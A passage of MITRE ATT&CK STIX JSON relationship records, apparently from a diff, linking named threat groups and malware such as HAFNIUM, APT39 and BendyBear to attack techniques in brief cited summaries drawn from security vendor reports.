"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has downloaded malware and tools--including Nishang and PowerCat--onto a compromised host.(Citation: Microsoft HAFNIUM March 2020) ", + "relationship_type": "uses", + "id": "relationship--05ff481d-299f-4b72-9210-f07e7c5bf938", + "type": "relationship", + "modified": "2021-04-19T17:50:00.143Z", + "created": "2021-04-19T17:50:00.143Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107", + "external_references": [ + { + "source_name": "Anomali MUSTANG PANDA October 2019", + "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used InstallUtil.exe to execute a malicious Beacon stager.(Citation: Anomali MUSTANG PANDA October 2019)", + "relationship_type": "uses", + "id": "relationship--42440c0c-f28b-4c42-94af-dc4cad6a8dd7", + "type": "relationship", + "modified": "2021-04-19T17:58:47.612Z", + "created": "2021-04-19T17:58:47.612Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", + "external_references": [ + { + "source_name": "Avira Mustang Panda January 2020", + "url": "https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong", + "description": "Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has encrypted documents with RC4 prior to exfiltration.(Citation: Avira Mustang Panda January 2020)", + "relationship_type": "uses", + "id": "relationship--7687477f-ea5e-4a3f-806d-e561f5c8adb4", + "type": "relationship", + "modified": "2021-04-19T19:18:47.849Z", + "created": "2021-04-19T19:18:47.849Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "external_references": [ + { + "source_name": "Blackberry Bahamut", + "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", + "description": "The Blackberry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021." + } + ], + "description": "[Windshift](https://attack.mitre.org/groups/G0112) has created LNK files in the Startup folder to establish persistence.(Citation: Blackberry Bahamut)", + "relationship_type": "uses", + "id": "relationship--6aeeb7e4-fc09-40a6-b071-c04df0f92928", + "type": "relationship", + "modified": "2021-04-19T19:24:55.384Z", + "created": "2021-04-19T19:24:55.384Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "external_references": [ + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used rundll32 to load malicious DLLs.(Citation: Volexity Exchange Marauder March 2021)", + "relationship_type": "uses", + "id": "relationship--94a67c86-e7f6-4874-b41f-83a3bfc35be3", + "type": "relationship", + "modified": "2021-04-19T20:13:44.480Z", + "created": "2021-04-19T20:13:44.480Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "external_references": [ + { + "source_name": "US District Court Indictment GRU Oct 2018", + "url": "https://www.justice.gov/opa/page/file/1098481/download", + "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020." + } + ], + "description": "[APT28](https://attack.mitre.org/groups/G0007) has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.(Citation: US District Court Indictment GRU Oct 2018)", + "relationship_type": "uses", + "id": "relationship--d7af8f20-9581-4b41-a591-118842f8ba6e", + "type": "relationship", + "modified": "2021-04-19T21:59:12.700Z", + "created": "2021-04-19T21:59:12.700Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", + "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "external_references": [ + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + } + ], + "description": "[DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)", + "relationship_type": "uses", + "id": "relationship--088cbe38-25e2-42a0-b65e-252bb1865d18", + "type": "relationship", + "modified": "2021-04-19T22:06:49.161Z", + "created": "2021-04-19T22:06:49.161Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "target_ref": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", + "external_references": [ + { + "source_name": "Gallagher 2015", + "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", + "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/" + } + ], + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has embedded malicious code into websites to screen a potential victim's IP address and then exploit their browser if they are of interest.(Citation: Gallagher 2015)", + "relationship_type": "uses", + "id": "relationship--7acc1226-d784-448e-8aeb-7f58e343c4da", + "type": "relationship", + "modified": "2021-04-20T02:37:12.377Z", + "created": "2021-04-20T02:37:12.377Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "target_ref": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", + "external_references": [ + { + "source_name": "Volexity Ocean Lotus November 2020", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020." + } + ], + "description": "[APT32](https://attack.mitre.org/groups/G0050) has stood up websites containing numerous articles and content scraped from the Internet to make them appear legitimate, but some of these pages include malicious JavaScript to profile the potential victim or infect them via a fake software update.(Citation: Volexity Ocean Lotus November 2020)", + "relationship_type": "uses", + "id": "relationship--6c4a3ef5-8aee-4fe8-b2c6-386f90c057a4", + "type": "relationship", + "modified": "2021-04-20T02:54:12.394Z", + "created": "2021-04-20T02:54:12.394Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "target_ref": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701", + "external_references": [ + { + "source_name": "Secureworks COBALT DICKENS September 2019", + "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again", + "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021." + }, + { + "source_name": "Malwarebytes Silent Librarian October 2020", + "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", + "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021." + }, + { + "source_name": "Proofpoint TA407 September 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021." + } + ], + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has cloned victim organization login pages and staged them for later use in credential harvesting campaigns. [Silent Librarian](https://attack.mitre.org/groups/G0122) has also made use of a variety of URL shorteners for these staged websites.(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)", + "relationship_type": "uses", + "id": "relationship--9038cd4b-182b-469f-ac45-83dedf5110c9", + "type": "relationship", + "modified": "2021-04-20T03:14:15.249Z", + "created": "2021-04-20T03:06:40.236Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "target_ref": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", + "external_references": [ + { + "source_name": "Volexity Ocean Lotus November 2020", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020." + } + ], + "description": "[APT32](https://attack.mitre.org/groups/G0050) has hosted malicious payloads in Dropbox, Amazon S3, and Google Drive for use during targeting.(Citation: Volexity Ocean Lotus November 2020)", + "relationship_type": "uses", + "id": "relationship--9ed7e90a-8034-48eb-8444-9ec29941a7b8", + "type": "relationship", + "modified": "2021-04-20T03:36:35.464Z", + "created": "2021-04-20T03:36:35.464Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + } + ], + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware to delete files after they are deployed on a compromised host.(Citation: FBI FLASH APT39 September 2020)", + "relationship_type": "uses", + "id": "relationship--58a1976b-122d-41df-ae40-b66826ad8f4f", + "type": "relationship", + "modified": "2021-04-20T12:38:47.958Z", + "created": "2021-04-20T12:38:47.958Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + } + ], + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware to drop encrypted CAB files.(Citation: FBI FLASH APT39 September 2020)", + "relationship_type": "uses", + "id": "relationship--38cf696a-f98d-4b32-a9f1-0183bd78b6d2", + "type": "relationship", + "modified": "2021-04-20T12:38:47.951Z", + "created": "2021-04-20T12:38:47.951Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", + "external_references": [ + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + } + ], + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware to turn off the RequireSigned feature which ensures only signed DLLs can be run on Windows.(Citation: FBI FLASH APT39 September 2020)", + "relationship_type": "uses", + "id": "relationship--16ee08e8-a66a-4022-a322-148eeaf71771", + "type": "relationship", + "modified": "2021-04-23T02:08:56.353Z", + "created": "2021-04-20T12:38:47.981Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", + "external_references": [ + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + } + ], + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware to set LoadAppInit_DLLs in the Registry key SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows in order to establish persistence.(Citation: FBI FLASH APT39 September 2020)", + "relationship_type": "uses", + "id": "relationship--19785182-3304-4954-9545-30560d159ae2", + "type": "relationship", + "modified": "2021-04-20T12:38:48.145Z", + "created": "2021-04-20T12:38:48.145Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." + } + ], + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware to decrypt encrypted CAB files.(Citation: FBI FLASH APT39 September 2020)", + "relationship_type": "uses", + "id": "relationship--089eeb46-323e-410b-a27b-dc5ff4467c40", + "type": "relationship", + "modified": "2021-04-20T12:38:48.122Z", + "created": "2021-04-20T12:38:48.122Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "external_references": [ + { + "source_name": "Zscaler APT31 Covid-19 October 2020", + "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", + "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has created a run key named Dropbox Update Setup to mask a persistence mechanism for a malicious binary.(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--baefaf38-da2d-4864-9c96-3bf2352bc20b", + "type": "relationship", + "modified": "2021-04-20T21:00:45.176Z", + "created": "2021-04-20T13:11:26.199Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", + "external_references": [ + { + "source_name": "Zscaler APT31 Covid-19 October 2020", + "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", + "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has exfiltrated stolen data to Dropbox.(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--a9fedca4-fd68-4e3f-a564-cb9c168a8e4e", + "type": "relationship", + "modified": "2021-04-20T13:11:26.237Z", + "created": "2021-04-20T13:11:26.237Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "Zscaler APT31 Covid-19 October 2020", + "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", + "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021." + } + ], + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to enumerate proxy settings in the target environment.(Citation: Zscaler APT31 Covid-19 October 2020)", + "relationship_type": "uses", + "id": "relationship--efb06e50-f3ac-4149-927b-d97505a4f551", + "type": "relationship", + "modified": "2021-04-20T13:51:15.340Z", + "created": "2021-04-20T13:51:15.340Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "external_references": [ + { + "source_name": "Unit 42 NETWIRE April 2020", + "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021." + } + ], + "description": "[GuLoader](https://attack.mitre.org/software/S0561) has relied upon users clicking on links to malicious documents.(Citation: Unit 42 NETWIRE April 2020)", + "relationship_type": "uses", + "id": "relationship--ba79589f-f4e2-497b-b25b-a6a0abf3eedd", + "type": "relationship", + "modified": "2021-04-20T21:06:09.187Z", + "created": "2021-04-20T16:08:50.635Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) executes commands using VBScript.(Citation: MSTIC NOBELIUM Mar 2021)\t", + "relationship_type": "uses", + "id": "relationship--aa26d89c-7c7d-449a-a26a-caa37573698e", + "type": "relationship", + "modified": "2021-04-20T16:56:17.499Z", + "created": "2021-04-20T16:56:17.499Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "target_ref": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has staged tools, including [gsecdump](https://attack.mitre.org/software/S0008) and WCE, on previously compromised websites.(Citation: Dell TG-3390)", + "relationship_type": "uses", + "id": "relationship--f2e028ed-49e0-41ec-8400-8f8dc1ae6435", + "type": "relationship", + "modified": "2021-04-20T19:17:12.825Z", + "created": "2021-04-20T19:17:12.825Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", + "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", + "external_references": [ + { + "source_name": "Unit42 BendyBear Feb 2021", + "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/", + "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021." + } + ], + "description": "[BendyBear](https://attack.mitre.org/software/S0574) has used byte randomization to obscure its behavior.(Citation: Unit42 BendyBear Feb 2021)", + "relationship_type": "uses", + "id": "relationship--36855997-d730-48c6-bd43-7896c741cd6e", + "type": "relationship", + "modified": "2021-04-20T19:17:57.991Z", + "created": "2021-04-20T19:17:57.991Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "external_references": [ + { + "source_name": "Unit42 BendyBear Feb 2021", + "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/", + "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021." + } + ], + "description": "[BendyBear](https://attack.mitre.org/software/S0574) has the ability to determine local time on a compromised host.(Citation: Unit42 BendyBear Feb 2021) ", + "relationship_type": "uses", + "id": "relationship--c8a023b1-b472-40fc-98be-5709180e2628", + "type": "relationship", + "modified": "2021-04-20T19:17:58.007Z", + "created": "2021-04-20T19:17:58.007Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", + "external_references": [ + { + "source_name": "ClearkSky Fox Kitten February 2020", + "url": "https://www.clearskysec.com/fox-kitten/", + "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020." + }, + { + "source_name": "Check Point Pay2Key November 2020", + "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021." + } + ], + "description": "(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)", + "relationship_type": "uses", + "id": "relationship--a391b999-a7f9-439d-bed5-0a0a13bb6f7d", + "type": "relationship", + "modified": "2021-04-20T20:05:51.766Z", + "created": "2021-04-20T20:05:51.766Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) has queried the registry for proxy server information.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--03070395-3b76-4351-a3bd-0d9eaaa6652c", + "type": "relationship", + "modified": "2021-04-20T22:28:08.225Z", + "created": "2021-04-20T22:28:08.225Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). 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(2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021." + } + ], + "description": "[BendyBear](https://attack.mitre.org/software/S0574) has used a custom RC4 and XOR encrypted protocol over port 443 for C2.(Citation: Unit42 BendyBear Feb 2021)", + "relationship_type": "uses", + "id": "relationship--730a735c-1008-490e-b0c8-6938b858b28a", + "type": "relationship", + "modified": "2021-04-21T15:02:21.244Z", + "created": "2021-04-21T13:20:13.561Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9", + "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "external_references": [ + { + "source_name": "Unit42 SUPERNOVA Dec 2020", + "url": "https://unit42.paloaltonetworks.com/solarstorm-supernova/", + "description": "Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021." + }, + { + "source_name": "Guidepoint SUPERNOVA Dec 2020", + "url": "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", + "description": "Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021." + }, + { + "source_name": "CISA Supernova Jan 2021", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a", + "description": "CISA. (2021, January 